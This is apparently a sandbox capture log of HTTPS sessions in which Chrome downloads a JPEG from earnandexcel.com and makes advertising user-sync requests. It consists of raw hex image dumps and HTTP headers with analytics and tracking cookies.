2024-04-11 21:27:01 UTC	1369	IN	Data Raw: aa 9d 2d b6 a2 07 c4 68 a4 1a c2 d7 b1 55 e3 24 32 d6 55 4e 5a e6 b6 49 35 85 c5 b8 95 89 53 a2 97 d3 c0 f9 4d 69 21 a2 f6 b0 55 fb bb 1a ca 8a 71 ba 27 ea 83 ca 9a db 72 5c ed fe c3 38 ad da d9 53 8d 44 12 44 fe 8f 4b 2d a4 a6 64 02 8a 42 18 00 bd 8a dd d5 88 77 8c 9c c5 6a a4 d1 53 aa e9 e3 9d b5 a4 07 80 6d aa 16 ee a4 32 77 f1 f2 42 74 25 66 16 1b c7 d0 d1 8e a3 89 a4 b1 5a fd c8 9e 77 cd fd 35 45 0b 59 4d 23 1c c7 b4 ed 07 95 2e 4c c6 22 c1 31 c6 d5 4f f0 38 32 2f f4 85 9e 72 ca e7 2a 45 1b 8c dc 29 7b 83 6d 6e 52 b9 b2 c6 07 d3 06 28 28 b8 43 1d d8 5d ac 3c 6a 27 ea e4 fb f6 f4 32 f5 16 eb 1e ae b9 4e 0b 9f d1 16 67 54 ec 33 b6 1c e9 0e 93 70 c2 08 d6 1c e9 a3 a9 0f fd 73 f9 82 43 a2 2b 03 f7 f3 f9 82 b3 cf 67 f8 8d 8f 13 c4 ff 00 e2 5f bf ff 00 48 Data Ascii: -hU$2UNZI5SMi!Uq'r\8SDDK-dBwjSm2wBt%fZw5EYM#.L"1O82/r*E){mnR((C]<j'2NgT3psC+g_H
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: 88 c1 59 4f 3f 07 5a 1c 25 03 73 8d ca b4 f4 4f f1 13 bf 48 ef b5 32 bf 79 7d 7f ec cc e1 96 f5 78 9c e7 8c 65 3e cf fb 13 84 89 52 2b a7 60 08 42 10 00 84 21 00 08 42 10 00 84 24 ba 00 f3 8f ba bf e3 8c b9 fa bd 47 a4 c5 42 4a af cf 75 76 dc 5f 2d fe af 51 e9 31 50 92 ee 5a 9a 6f d2 32 b5 3f aa 5d da 11 98 33 25 62 17 ef c3 e8 35 48 1d 3f 0a d2 d2 54 43 43 73 86 e5 3c 41 84 ec f7 d9 3f f8 35 48 a9 e4 6f 08 e1 7d e5 5d d2 43 1c cc ad a8 b9 f6 4b d1 0b 25 14 73 9d 57 36 e3 95 24 59 7a 99 a7 64 6d 71 f0 84 eb 03 18 5a 2c ba e3 6b 1a 96 f9 c9 ae 54 65 c2 ba dc f9 a4 bb 9b f2 de 1b 0d 3b 43 38 36 8d bc 8a 79 85 53 c6 c7 0d 81 43 b0 e7 06 c8 14 9a 9e a8 b1 a2 c5 66 45 38 c9 b3 52 b7 0e 5c 22 52 08 0d b2 6f c4 5e 04 76 27 6a 6d 76 34 e6 34 8d ff 00 4a 6e 9f 15 Data Ascii: YO?Z%sOH2y}xe>R+`B!B$GBJuv_-Q1PZo2?]3%b5H?TCCs<A?5Ho}]CK%sW6$YzdmqZ,kTe;C86ySCfE8R\"Ro^v'jmv44Jn
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: 09 c9 d0 ee 4d 58 af f4 6e 59 f5 f9 97 ae f7 59 11 8f fe 3c 6d e3 53 5c 30 da 30 a1 91 b7 ef bb f8 54 bb 0e 71 11 81 e0 56 ee 79 48 cc d0 47 95 c8 73 7b fb 03 b5 47 b1 79 00 0e 4f 12 48 75 4a 8d 63 73 10 0a 4a 17 72 6d 75 98 ad 9c 78 73 ef 39 f1 a9 75 1b be e7 f4 28 4e 1a f3 ef 90 a6 54 47 b0 fa 14 9a 9f 32 af 0b 97 b0 73 62 67 b0 72 80 66 5e c7 0c c4 bf 40 ff 00 b0 a9 f6 25 f0 5c a0 39 a3 e2 ac 47 f4 0f fb 0a 4d 3b f3 1f ac ef 38 7d 57 f2 53 8c dc 14 c3 46 b7 e9 db 2f 7e d1 83 d3 0a 20 cd 96 52 fd 1a ff 00 5e 32 f7 ed 18 3d 20 9d 3f d3 97 d1 9d 64 3f 52 3f 54 7b 31 08 42 e7 8e 88 44 21 08 00 42 10 80 15 09 12 a0 05 08 48 12 84 00 a8 42 10 00 12 a4 42 00 e7 a8 c3 a9 6a e4 8e 49 e1 64 8e 89 da cc 2e 17 d5 3c a1 32 66 7c 99 06 63 d4 d6 95 d1 6a 1b dd b6 52 Data Ascii: MXnYY<mS\00TqVyHGs{GyOHuJcsJrmuxs9u(NTG2sbgrf^@%\9GM;8}WSF/~ R^2= ?d?R?T{1BD!BHBBjId.<2f\|cjR
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: 97 7c 26 f2 d5 d3 f1 1e 80 46 e5 e7 d3 ee a5 ac e2 ca f4 ff 00 be 1f 61 60 7d d4 d5 c3 ff 00 ac 53 7e f8 ef 61 27 85 b7 e1 17 c5 55 f1 1e 85 42 f3 c1 f7 54 57 7e 4b d3 7e f8 ef 61 60 7d d5 78 88 dd 95 e9 7f 7b 77 b2 93 c3 5b b0 78 9a b7 3d 14 95 79 c8 fb ab 71 1f c9 7a 4f de dd ec a4 eb ad c4 bf 25 e9 3f 7a 77 b2 8f 0d 66 c2 f8 8a f7 3d 1c 85 e6 f3 ee ae c5 38 b2 c5 17 ef 4e f6 52 75 d7 e2 bf 93 14 3f bc bb d9 49 e1 ec d8 3c 45 7b 9e 91 09 57 9b 3a eb f1 6f c9 9a 1f de 5f ea 49 d7 5f 8b fe 4d 50 7e f0 ff 00 52 3c 3d 9b 07 5e bd cf 4a 21 79 ab ae bf 19 fc 9b c3 fc fb fd 49 3a ec 31 ae 2c b5 87 f9 f7 fa 92 f8 79 ec 1d 78 6e 7a 59 17 5e 68 eb b0 c6 ff 00 26 f0 df 3e f5 8f 5d 86 39 f9 39 86 f9 e7 a3 a1 3d 85 eb c3 73 d3 37 49 7f 0a f3 3f 5d 86 3b c5 97 30 cf Data Ascii: \|&Fa`}S~a'UBTW~K~a`}x{w[x=yqzO%?zwf=8NRu?I<E{W:o_I_MP~R<=^J!yI:1,yxnzY^h&>]99=s7I?];0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
328	192.168.2.17	50113	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	2351	OUT	GET /wp-content/uploads/PowerPivot-1-480x304.jpg HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000; utm_source=; utm_campaign=; _pubCommonId=eae7642b-3ef0-4a43-81dd-41619676e934; _lr_retry_request=true; _lr_env_src_ats=false; _pubCommonId_cst=KSwgLIAsRg%3D%3D; am_tokens={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}; am_tokens_invalidate-verizon-pushes={%22mv_uuid%22:%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22:%22invalidate-verizon-pushes%22}
2024-04-11 21:27:01 UTC	907	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Type: image/jpeg Content-Length: 19008 Connection: close CF-Ray: 872e0ee96e057cae-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df3310-4a40" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:56 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZvnIRerbz6RQ2fj%2BIupFKdebOpsHpWC8zqPXP%2Fjk6%2Be8e8jg8iy0bT66n2UpCcFmzweklSPFSkorWb%2FNQ5kZ8nFSKMJcZY76tPgx5Ehy7kF1Z8eFumkGWNgOyJhnZ4qVzrs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:27:01 UTC	462	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 96 00 96 00 00 ff db 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0e 09 09 08 08 09 12 0d 0d 0a 0e 15 12 16 16 15 12 14 14 17 1a 21 1c 17 18 1f 19 14 14 1d 27 1d 1f 22 23 25 25 25 16 1c 29 2c 28 24 2b 21 24 25 24 ff db 00 43 01 06 06 06 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 ff c0 00 11 08 01 30 01 e0 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 01 04 03 01 00 00 00 00 00 00 00 00 00 00 00 00 01 05 06 07 02 03 04 08 ff c4 00 60 10 00 01 03 02 02 04 04 0e 0b 0a 0b 07 03 05 00 00 01 00 02 03 04 11 05 06 07 12 21 31 13 41 51 91 08 14 15 16 18 22 52 55 61 92 93 Data Ascii: JFIFC!'"#%%%),($+!$%$C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$0"`!1AQ"RUa
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: 6f fc a6 ab a5 69 5a 9c eb 24 6c 96 e3 5e 86 a5 d8 f3 b7 4b b9 b9 c7 7a e7 7b b6 a5 74 a3 95 69 73 c5 d1 72 f8 59 1a 5f c4 6b 90 f6 c5 6b 2b 27 9e d8 ac 0a f3 52 7f 13 3d 1c 17 c2 8c 09 5a 9c b6 90 b0 21 5b 09 95 59 1c 9c b2 b2 f7 5c 53 47 bd 39 b9 9b 17 3c 91 5e eb 46 9b 4c eb e9 c8 c9 51 01 20 a6 c9 61 31 92 78 94 8e 58 2f 75 c1 53 4c 1c 08 5b 1a 6b f0 79 9f 50 d0 f1 2c af 23 5b 0a dc d7 2d 52 44 62 75 8a c9 ae 5b 15 cf 28 f2 d6 41 c5 e1 9b da 56 4b 53 4a cc 39 5c 8a 1a 33 05 64 0e c5 85 d2 82 82 26 24 59 cb 6c 4b 5b f9 56 71 ba ca 48 1f 74 3b 61 4c d6 9c 12 06 c5 33 a4 8d ae 88 5c 8b 85 03 a4 a8 31 48 1c 14 ab 0b ad 73 c5 b8 96 67 a8 57 27 f1 23 77 d1 2c 82 4e 0f c8 f0 58 c6 ac 0b da 06 c0 93 5b f3 96 04 b7 95 63 a5 b9 e9 38 76 34 4f 31 1b 96 80 e2 e5 Data Ascii: oiZ$l^Kz{tisrY_kk+'R=Z![Y\SG9<^FLQ a1xX/uSL[kyP,#[-RDbu[(AVKSJ9\3d&$YlK[VqHt;aL3\1HsgW'#w,NX[c8v4O1
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: ba a4 46 67 c6 77 75 4a a7 ca 1f 4a 53 9a 71 a6 31 ce 18 8d 5b 88 1e d5 b2 1b 9f ad 4b 8d 15 c7 d2 e4 9f 92 f7 d6 d5 6a d2 f9 c0 be d5 45 37 3a 63 d6 fe 77 11 f2 85 66 33 9e 39 c7 26 21 e3 a8 29 c3 fd 45 b3 f4 db 9a c2 6b fc 97 4b eb 18 01 37 ba e2 9a a1 d2 9d bb b9 15 4a dc eb 8d b7 8e b0 fc 65 6f 87 39 e3 6f 69 71 95 d1 90 6d aa f6 8f 42 be bb ab 4f b1 9d 77 a2 ea 64 bb c9 60 b4 59 39 66 e5 df 4c fd 70 0e d5 53 47 9e 71 98 cf b7 89 df 1b 1b e8 5d b0 69 33 19 88 58 c7 4c eb 72 b3 d0 95 96 a9 2c 22 5a 4f 49 b6 a9 66 6d 60 b7 21 6e c5 dd 43 53 35 05 43 27 84 d9 ed 37 f8 d5 45 0e 97 71 28 fd bd 0d 1b be 20 e1 fb 57 7d 36 9a 2c f6 8a 9c 29 ba 97 ed 9d 1b cd c7 3a c9 d4 55 39 ac 7b 1e 9f 48 e3 5f 7f 73 d1 78 66 71 a0 a8 8c 0a a2 e8 24 1b f6 5c 14 b8 ce 67 a3 Data Ascii: FgwuJJSq1[KjE7:cwf39&!)EkK7Jeo9oiqmBOwd`Y9fLpSGq]i3XLr,"ZOIfm`!nCS5C'7Eq( W}6,):U9{H_sxfq$\g
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: 86 85 6b 56 61 ab 26 b5 6c 0c 55 2b 51 7a ac d6 1a b2 01 6c 0c 4a 18 a5 ce 43 e5 33 3a 49 78 17 ed f6 a7 7a 75 8c 6b 8b b7 6f c4 9a 43 16 6d d7 68 20 39 c0 78 0a aa 73 4f be 4b ab 4e 3d 89 06 5a ac e1 69 35 09 da 13 b9 22 ca 0b 97 2b dd 16 d0 76 29 27 4f 3e 61 60 6d f1 2c 78 5a b8 70 75 c5 fb 0d d8 e5 3f 4d d4 6b 31 db 1b b0 26 47 52 48 c7 76 cd b8 0a 4e f6 5c 5d 73 3a 10 49 d8 b9 2c 8b 6f 24 97 61 80 82 16 12 7f 36 e4 f3 2d 13 5d 7d 89 be aa 85 c0 10 c2 b9 65 29 47 c9 d0 b0 d0 d6 5c b0 25 6c 96 17 c7 ed 9a 57 33 9e 07 1a af a8 1a ab 3e 05 71 d8 98 73 57 de 3c 47 e4 d2 f9 a5 3e 13 70 98 b3 67 de 1c 47 e4 d2 f9 a5 6e 7a 6c f8 99 97 af 86 22 cf 2f b4 d9 c5 4a 74 5c eb e9 1b 2e 7c be 2f b5 45 01 de a4 fa 2d 3f fa 8d 96 fe 5f 17 da bd 35 9f 2d fd 8c ca 97 e2 Data Ascii: kVa&lU+QzlJC3:IxzukoCmh 9xsOKN=Zi5"+v)'O>a`m,xZpu?Mk1&GRHvN\]s:I,o$a6-]}e)G\%lW3>qsW<G>pgGnzl"/Jt\.\|/E-?_5-
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: a6 1d 8e 2a 0c 31 41 73 67 2c 0e 31 aa 76 b9 59 0d 5d 89 95 bd 1c 59 64 36 ba 29 1b da bc 5d 60 ea 81 63 b4 28 03 71 d0 06 c9 2d f3 ae aa 4c 7a 46 bc 6b 49 ac c3 c4 ad 96 a5 be f2 44 3a 36 bc 12 99 a5 0e 51 8c e0 7f 88 71 11 cb 4d 27 9a 53 cc 75 d1 4c cb b3 79 4c 79 b6 ee c0 b1 03 ff 00 0f 27 9a 57 aa f4 55 96 99 e7 bd 56 0e 31 67 94 9e 76 95 25 d1 67 f5 8f 96 ff 00 cc 22 fb 54 65 db ca 93 68 b3 fa c6 cb 7f e6 11 7d ab d6 db f9 1f d8 c6 a7 f3 a3 db 6b c5 39 82 cc cd 18 a1 73 75 80 ad 94 96 9e 3f ba 1d 8b da a1 31 55 e4 2c ad 5d 53 25 55 4e 5f c3 66 9e 57 6b 3e 47 40 d2 5c 79 49 b2 c0 9c 38 8d 1d 5e 9d dc 92 4f 18 3c c1 5d 9d f1 3a fc 4b 0d ae 8d b1 52 75 34 34 53 45 08 21 8c b1 e4 27 8f 71 58 e6 2c 79 d9 9b 16 97 14 96 92 9e 96 69 80 e1 1b 05 c3 5c ee eb Data Ascii: *1Asg,1vY]Yd6)]`c(q-LzFkID:6QqM'SuLyLy'WUV1gv%g"Teh}k9su?1U,]S%UN_fWk>G@\yI8^O<]:KRu44SE!'qX,yi\
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: 56 c9 7f da ab f8 8e 5f c6 df f7 34 b3 3b e7 6c d9 15 6b 06 3c da 78 e9 a0 74 ef 63 5e d8 35 9a 38 9b 60 09 3e 05 67 68 0d ce 7e 4e a9 73 dc 5c e3 5a f2 49 37 27 b5 6a ae 8e 5a d1 e6 0d 77 e2 19 aa a3 15 73 47 f3 14 30 db 58 f2 6b 1b 8f ad 5b 7a 26 c5 68 31 5c b7 2b b0 bc 35 b8 75 14 35 2e 8a 28 41 d6 71 00 34 eb 38 f1 b8 92 a7 0f 3d cb b4 c9 f3 33 27 df ef 92 68 80 84 2b 8d 11 50 84 20 02 c8 42 10 00 84 20 20 01 08 42 00 11 64 21 00 08 45 d0 80 04 21 17 40 1e 6d e8 ad d9 8f e5 ff 00 92 cd e7 b5 51 cc 2a f1 e8 ae fb fb 97 be 4b 3f 9e d5 45 eb 58 2d 7d 27 ca 46 3e b1 7e 23 3d 15 a0 69 07 59 e4 7f c5 49 fb 15 a3 70 42 a6 74 25 5d c0 65 47 8b ee a9 7f d8 15 94 cc 5d a5 bb d6 4e a7 d2 a3 6d ae c6 bc 8e 36 66 29 1d 18 93 03 e3 70 55 86 69 c3 64 9e 49 1b 1b 35 Data Ascii: V_4;lk<xtc^58`>gh~Ns\ZI7'jZwsG0Xk[z&h1\+5u5.(Aq48=3'h+P B Bd!E!@mQ*K?EX-}'F>~#=iYIpBt%]eG]Nm6f)pUidI5
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: 6e 9b 31 87 56 30 6d b1 72 7f cc f9 3e a5 95 72 3d d2 03 7d b7 b2 8a 47 96 ea a3 ab 6b b5 81 00 af ab fa 66 92 71 d3 c5 38 bf f0 7c df d5 3d 46 ae 7c b3 3c 17 9e 52 9a 39 a9 98 e0 77 80 9e b3 49 1d 6c 62 76 fc 96 5f 34 a8 86 4e 8e 78 20 60 73 86 e5 22 cc 73 3b ad bc 48 1f c9 65 f3 4a f4 15 51 fa 1e 77 a9 e2 5e 72 79 99 91 18 db aa 76 9b 9f b5 4a b4 64 d2 34 83 96 cf f7 84 3e 72 8c b8 76 c5 4a 34 69 fd 3f cb 7f e6 30 f9 ca eb 16 2b 97 d8 e9 aa 59 b2 3f 73 da 48 42 16 09 bc 08 42 10 00 84 21 00 08 42 10 00 95 08 ba 00 51 b9 2a d1 55 57 05 0d 3b ea 2a a6 8e 08 63 17 7c 92 38 35 ad 1e 12 53 67 5e b9 6b bf f8 67 d2 59 e9 4b 22 72 4b cb 1e 90 99 7a f5 cb 5d ff 00 c3 3e 92 cf 4a 3a f5 cb 5d ff 00 c3 3e 92 cf 4a 32 85 c7 1d c7 a4 02 99 7a f5 cb 5d ff 00 c2 fe 92 Data Ascii: n1V0mr>r=}Gkfq8\|=F\|<R9wIlbv_4Nx `s"s;HeJQw^ryvJd4>rvJ4i?0+Y?sHBB!BQUW;c\|85Sg^kgYK"rKz]>J:]>J2z]
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: bd 53 10 9c 3b 5b ee dc 15 f8 4b 38 0d d7 d9 bd 48 6b 74 13 4f 41 35 34 35 19 99 8c 7d 54 9c 14 40 d3 6f 75 af dd 7f fd 70 b6 64 cc d9 81 e1 fa 4c cc 98 9d 56 25 04 54 75 3a fc 0c ce be ab ee f0 76 7c ca 47 9a b3 3e 50 c7 31 0c 2a a1 98 d4 52 b6 09 be ec 59 23 80 8a 3b 13 ad bb 66 db 6d 50 c4 71 93 8e c5 08 54 e5 14 9b ce ff 00 a9 08 ce 3a 19 76 54 cb f5 38 b9 c6 45 4f 00 5a 38 3e 03 56 f7 70 1b f5 8f 2a 94 68 78 5f 46 58 e7 f8 ea 3f d2 0b a3 4a 19 e7 2d e3 19 26 ba 87 0f c6 29 aa 6a 64 31 ea 46 c2 6e eb 3c 13 c5 c8 b9 f4 3d fd 59 63 9f e3 a8 ff 00 48 29 24 94 bb 1d 11 8c 23 6e 21 b1 5b e8 f3 22 1c f7 88 55 52 0a e1 47 d2 f1 09 75 b8 3d 7d 6d b6 b6 f0 a7 9d 8e 8e f8 42 3e 8d ff 00 92 8f e8 47 30 e1 59 7b 1a c4 66 c5 6b a2 a3 8e 4a 70 c6 3a 4b d9 c7 58 1b Data Ascii: S;[K8HktOA545}T@oupdLV%Tu:v\|G>P1RY#;fmPqT:vT8EOZ8>Vphx_FX?J-&)jd1Fn<=YcH)$#n!["URGu=}mB>G0Y{fkJp:KX
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: a6 8f 72 ce 01 93 6a ab f0 dc 31 94 f5 2c 92 30 d9 03 dc 6c 0b 80 3b ca 78 ca 1a 30 ca 38 8e 57 c2 eb 2a b0 78 e4 9e 7a 68 e4 91 e6 47 8d 67 11 b4 ec 2a 19 9f f4 a5 36 67 cb 33 e1 8f cb 95 94 2d 91 ec 77 0d 23 89 6b 6c eb f7 21 38 e5 cd 31 d4 61 38 0d 05 03 72 ad 7d 40 a7 81 91 89 5a e3 67 d8 5a e3 b5 4f 31 c9 25 3a 79 8d fb 63 62 73 ec 45 92 bb c9 1f 95 7f ac ab b3 92 70 01 a6 31 80 f5 3d bd 4d e9 6d 7e 03 5d d6 d6 e0 ef 7b de fb d3 ef b3 a5 4f c0 ec 47 c7 3e a2 86 1d 21 ca 74 96 33 37 50 ea b5 f8 0e 0f a4 b5 8e bf b4 d5 be ef 9f 72 24 e3 ec 16 4e 97 8e 1d f6 2d af 62 2c 95 de 48 fc ab fd 64 d5 9a f4 5d 94 70 fc b5 8a 55 d3 60 f1 c7 3c 14 b2 49 1b c4 8f 3a ae 0d 24 1d e9 b7 d9 d2 a7 e0 76 23 e3 9f 51 37 e6 0d 32 d4 62 98 1e 21 42 72 ad 7c 02 a2 07 c4 65 Data Ascii: rj1,0l;x08WxzhGg6g3-w#kl!81a8r}@ZgZO1%:ycbsEp1=Mm~]{OG>!t37Pr$N-b,Hd]pU`<I:$v#Q72b!Br\|e
2024-04-11 21:27:01 UTC	1369	IN	Data Raw: a3 87 d5 51 f0 9c 0e a7 0f 11 66 b5 b5 af 6b ef 56 c1 3b 4a 75 fe 52 cd 2a c5 48 10 8e 24 29 9d 02 a1 22 10 02 a4 42 10 00 84 24 40 1e 76 e8 ac fb e9 96 ff 00 43 53 e7 46 a8 59 46 c2 af be 8a bf be 79 6b f4 35 3f 6c 6a 85 98 6c 5a ba 6f 94 64 ea be 71 66 68 74 6b 60 58 b0 e4 9d a7 fe 54 eb 31 b4 a4 78 53 5e 85 c5 f0 ac 64 72 49 19 fa 8a 74 a8 db 52 ef 8d 5d 53 c1 c1 77 99 19 31 a4 b8 ec 58 3e 33 72 bb 69 e9 cb c6 b0 17 49 2c 36 25 6a c5 e5 1e 0b 50 dc 6d 79 39 29 e3 22 45 21 a2 b8 82 c1 34 45 17 6c 9f a8 61 3c 08 ba 8c de 11 0a fe 3b 3b 1b e9 09 16 05 3e d0 db 54 a6 68 a2 20 a7 aa 06 f6 85 71 5a cd ad 1a c3 c0 ec 22 b8 4d 58 b4 56 8d db 14 99 b4 bb 37 26 9c 5e 9b ee 6e d8 b2 e1 2e e6 dd d4 be 16 41 62 8b f8 56 ee 35 2c a0 84 f0 63 67 12 67 82 8f f8 4d c8 Data Ascii: QfkV;JuR*H$)"B$@vCSFYFyk5?ljlZodqfhtk`XT1xS^drItR]Sw1X>3riI,6%jPmy9)"E!4Ela<;;>Th qZ"MXV7&^n.AbV5,cggM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
329	192.168.2.17	50154	35.162.61.240	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	1382	OUT	GET /usersync/redirect?partner=triplelift&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=3952083078138885077332 HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
2024-04-11 21:27:01 UTC	239	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Vary: Origin, Accept-Encoding Access-Control-Allow-Credentials: true Cache-Control: private, no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
330	192.168.2.17	50112	211.120.53.205	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:01 UTC	696	OUT	GET /aux/idsync?proto=gumgum HTTP/1.1 Host: tg.socdm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:01 UTC	835	IN	HTTP/1.1 302 Found Server: nginx Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Length: 0 Connection: close Cache-Control: private Location: https://usersync.gumgum.com/usersync?b=sus&i=ZhhVpcCo5ucAAKwn53sAAAAA P3P: CP="See also http://www.scaleout.jp/privacy/" Set-Cookie: SOC=ZhhVpcCo5ucAAKwn53sAAAAA; path=/; expires=Sat, 11-Apr-26 21:27:01 GMT; domain=socdm.com; secure; SameSite=None X-SO-Ads-Time: 10 X-SO-HostName: a-ad40383.dc2p.scaleout.jp X-SO-LB-Hostname: a-tgng40016.dc2p.scaleout.jp X-SO-LB-Data: {"ban":false,"clean_query":"\/aux\/idsync?proto=gumgum","cluster_id":0,"gdpr":false,"ipv4":"156.146.36.197","key":"ZhhVpcCo5ucAAKwn53sAAAAA","privacy_sensitive":false,"uid":"","upstream_id":"a-ad40383"} X-SO-Key: ZhhVpcCo5ucAAKwn53sAAAAA X-SO-IP: 156.146.36.197 X-SO-Cluster-ID: 0 X-SO-Upstream-ID: a-ad40383

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
